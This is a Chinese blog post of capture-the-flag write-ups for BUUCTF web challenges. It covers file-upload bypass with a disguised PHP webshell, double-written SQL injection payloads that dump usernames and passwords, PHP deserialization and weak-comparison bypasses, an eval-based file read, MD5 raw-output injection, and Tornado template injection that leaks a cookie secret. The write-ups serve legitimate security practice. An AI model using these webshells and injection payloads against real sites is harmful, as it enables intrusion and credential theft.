buu Web题库(3)

326次阅读
没有评论

buu Web 题库(3)


[极客大挑战 2019]Upload

先上传一个正常的图片,可是显示 not image,后续上传了其他图片,均不可,应该是进行了限制。
buu Web 题库(3)

之后抓包改包,抓包的时候随便上传一个一句话木马,然后文件格式为 2.jpg
<?php @eval($_POST['shell'])?>

之后显示过滤了关键词
buu Web 题库(3)

改成<script language="php">eval($_POST['shell']);</script>
buu Web 题库(3)

应该是后端也检测了是不是图片,加上文件头 GIF89a 用来欺骗,继续上传
buu Web 题库(3)

上传成功了,可要想文件被 php 解释器解析,我们还得用到 phtml,这个相当于是把 php 写进 html 里,也可以被解析。
于是构建一句话木马

GIF89a
<script language="php">eval($_POST['shell']);</script>

文件名为 2.jpg,上传骗过网站前端检测,之后抓包,将文件名改为 2.phtml,为了让网站解析,而 GIF89a 则是骗过了网站的后端检测。
buu Web 题库(3)

上传成功,直接蚁剑连接,这里猜一下路径就可xxxxx/upload/2.phtml
去根目录找 flag。
buu Web 题库(3)

结束!

[ACTF2020 新生赛]Upload

随便上传几个图片,都显示上传成功,那么试试一句话木马的 php 文件,告诉我们不行。
buu Web 题库(3)

改个文件后缀试试呢,也能上传成功,那怎么让它可以被解析呢,试试抓包改包。上传一句话木马 1.jpg,然后改包把文件名改成 phtml
buu Web 题库(3)

成功了,接下来直接蚁剑连接就行了。
buu Web 题库(3)

和上面的题差不多,甚至还要更简单。

结束!

[极客大挑战 2019]BabySQL

又加强了一次,万能密码试试1' or 1=1
buu Web 题库(3)

双引号,试试1' or '1=1
buu Web 题库(3)

密码错误!emmmm,先试试一些关键词比如 or,select 等
buu Web 题库(3)

这里显示没有输入用户名和密码,用户名为 admin 肯定没问题,应该是 or 关键词被过滤了,且被替换成了空格,所以显示没有输入。其他关键词同理
尝试过双写之后,发现可以。

下面是注入过程,过程中发现了 where、or、from 等词被过滤后,直接双写绕过就可以。

观察回显
1' uniunionon selselectect 1,2,3#
爆数据库
1' uniunionon selselectect 1,2,(selselectect database())#
爆表名
1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek')#
爆两张表的列名,俩表列名是一样的
1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser')#

1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql')#
爆每张表的内容
1' uniunionon selselectect 1,2,(selselectect group_concat(id,username,passwoorrd) frfromom geekuser)#

1' uniunionon selselectect 1,2,(selselectect group_concat(id,username,passwoorrd) frfromom b4bsql)#

buu Web 题库(3)

结束!

[极客大挑战 2019]PHP

网页提示我们有备份,拿御姐来可以扫出 www.zip 文件,下载文件发现是源码。
看代码

index.php 中:<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

需要提交传参然后反序列化,然后看 class.php

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){$this->username = 'guest';}

    function __destruct(){if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();}
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();}
    }
}
?>

很明显,我们需要让 password 等于 100,然后 username 强等于 admin,然后由于有个_wakeup 函数,由于调用 unserilize()方法前会先调用_wakeup,因此我们也需要进行绕过。
绕过也很简单,将序列化之后的成员属性数目改成大于 2 即可。下面是 php 代码,先进行序列化。

<?php
class Name{
private $username = 'admin';
private $password = '100';# 这里也可以换成数字 100
}
$name = new Name;
print(serialize($name));
?>

结果是
buu Web 题库(3)
其中复制之后,方格会丢失,因此改为 %00,然后把成员属性数目改成大于 2 的数
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到答案
buu Web 题库(3)

结束!

[ACTF2020 新生赛]BackupFile

题目提示了我们可能有备份,扫一下试试。有个这个
buu Web 题库(3)

下载下来,有代码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {$key = $_GET['key'];
    if(!is_numeric($key)) {exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {echo $flag;}
}
else {echo "Try to find out source file!";}

很简单的一个弱比较,由于比较的时候会把字符串先转化成数字,因此这里的 str 比较的时候其实就是 123,因此我们直接?key=123 即可
http://fceab317-897e-42bf-ad16-f86b852cd0cd.node4.buuoj.cn:81/?key=123
buu Web 题库(3)

结束!

[RoarCTF 2019]Easy Calc

上来就是个计算器,而且只能输入数字,其他的都不可以,查看源码发现有个 calc.php

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

过滤了很多,但也有办法。因为 num 只能输入数字,所以我们可以构造一个_num 让 php 解析成 num 来绕过 waf,如何绕过?
因为 php 会自动将某些无效字符删除或者替换成下划线,所以我们只需要在 num 加个空格就行。

因此查看目录的 payload 为calc.php? num=1;var_dump(scandir(chr(47)))
这里 var_dump()是打印变量相关信息;scandir()是列出指定路径的文件和目录,chr 则是将返回对应字符,此处 47 是 / 的 ASCII 码
buu Web 题库(3)

找到 flag,然后用 file_get_contents()读取对应内容
calc.php? num=1;var_dump(file_get_contents(chr(47).f1agg))
buu Web 题库(3)

结束!

[极客大挑战 2019]BuyFlag

在右上角的菜单里找到了 pay.php,然后看到了代码
buu Web 题库(3)

需要 post 传递参数,同时,他还说必须是 cuit 的学生才可以。抓包看
有个 cookie,猜测是不是改成 1,然后添加 Content-Type: application/x-www-form-urlencoded 进行 post 传参
传入 password=404a&&money=100000000(弱比较,很好绕过)
buu Web 题库(3)

长度不对,试试科学计数法改成 1e9
buu Web 题库(3)

请求报文在下面
buu Web 题库(3)

结束!

[BJDCTF2020]Easy MD5

一开始输入啥也没反应,最后是通过抓包看到了提示
Hint: select * from 'admin' where password=md5($pass,true)

把我们的输入进行了 md5,而且后面的 true 代表使用 16 字符的二进制格式输出。
也就是说我们需要让 md5 之后的值为 'or'xxxxxx',且 or 后面的必须是数字开头,这样才能实现万能密码。类似于1' or 1=1

接下来就需要找这么个数,看了网上的答案,发现 ffifdyop 刚好在 md5 之后是 'or'6xxxx',6 后面是乱码,不过那都不重要。因此答案就是 ffifdyop

跳转到下一个界面,看源码里有代码

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){// wow, glzjin wants a girl friend.

很简单的 md5 比较绕过,利用数组就可以也就是a[]=1&&b[]=2

这里原理是因为,md5 无法加密数组,传入数组的话会执行返回结果为 null,因此比较之后就是 null=null

这里还可以用另一种方法,因为 0e 开头的字符串在比较的时候会被转换为 0,因此两个 0e 开头的字符串在这里也可以,只不过只适用于弱比较,强比较就不行了

下一个界面

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;}

原理和上面一样,传入数组就可以,只不过是 post 传参。
buu Web 题库(3)

结束!

[护网杯 2018]easy_tornado

首先进入页面,先去了解信息。
第一个: 告诉我们 flag 在 /fllllllllllllag 文件里
第二个: 给了一个词 render
第三个: 给了提示 md5(cookie_secret+md5(filename))

然后我们发现每个 url 都是由文件与 filehash 组成的,猜测最后的提示应该是 /fllllllllllllag 文件的 filehash。然后去了解 render 和 cookie_secret

搜索发现 render 是用来创建模板的,也就是题目可能存在模板注入。

看了网上的 wp 才知道,cookie_secret 是 tornado 的一个环境变量,其存在于 RequestHandler.application.settings 文件中,而我们可以通过一些可以访问的快速对象来访问这个文件,

在这里在 tornado 模板中,存在一些可以访问的快速对象, 这里用到的是 handler.settings,handler 指向 RequestHandler,而 RequestHandler.settings 又指向 self.application.settings,所以 handler.settings 就指向 RequestHandler.application.settings 了,这里面就是 cookie_secret。

接下来就是找模板注入。

尝试过发现,当修改 filename,其与对应的 filehash 不一致时,页面会自动跳转到 error 界面,里面存在一个参数 msg=Error,而此时页面也正好回显 Error,这里应该可以进行模板注入。让 msg={{handler.settings}}可以得到 cookie_secret
buu Web 题库(3)

接下来写脚本获取 filehash,当然直接用网上的在线加密也可以

import hashlib

filename='/fllllllllllllag'
cookie_secret='da9f54a2-b9e4-4a27-9e7a-ad41d0725ea2'

hash1=hashlib.md5()
hash1.update(filename.encode('utf-8'))
s1=hash1.hexdigest()
#print(s1)
hash2=hashlib.md5()
hash2.update((cookie_secret+s1).encode('utf-8'))
print(hash2.hexdigest())

根据结果,所以 payload 为/file?filename=/fllllllllllllag&filehash=713bea65d7ecced7929793b832f91a5b
buu Web 题库(3)

结束!

[HCTF 2018]admin

题目中的 github 连接找不到对应项目了,没办法,网上几种解法没法完全复现,只能 admin,这里的 bug: 密码是弱密码 123,得到 flag
buu Web 题库(3)
结束!

正文完
 
haxo
版权声明:本站原创文章,由 haxo 2023-08-09发表,共计6492字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
最新评论
emoji emoji 写得好啊
评论(没有评论)